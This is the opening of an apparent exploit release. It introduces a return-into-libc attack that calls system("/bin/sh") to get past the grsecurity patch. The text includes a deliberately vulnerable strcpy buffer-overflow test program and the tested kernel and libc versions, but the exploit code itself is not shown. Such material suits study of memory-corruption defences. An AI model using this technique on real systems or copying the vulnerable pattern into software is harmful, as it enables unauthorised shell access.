I'm proud to introduce an example of return into libc exploit which works though grsecurity patch protection.
Please read source carefully and change some lines cause default version probably wont work on your machine.
-> This is example, remember it. ;)
/*
* Grsecurity bypass tryout - system("/bin/sh"); return into libc technique.
* Read source cause this is only an example.
* ---
*
* The simplest vulnerable program which was used to tests:
*
* int main(int argc, char *argv[])
* {
* char data[5];
*
* if(argc>1)
* strcpy(data,argv[1]);
* return 0;
* }
*
* Successfully tested under,
* - Linux Kernel |2.4.31| with Grsecurity patch |2.6.1|
* - GCC 3.3.6
* - LIBC 2.3.5-stable
*
* Attack time depends on your computer speed.
*
*
* Nikomu nie dziekuj, nikomu nie ufaj, licz tylko na siebie.
* ---
* Adam Simuntis
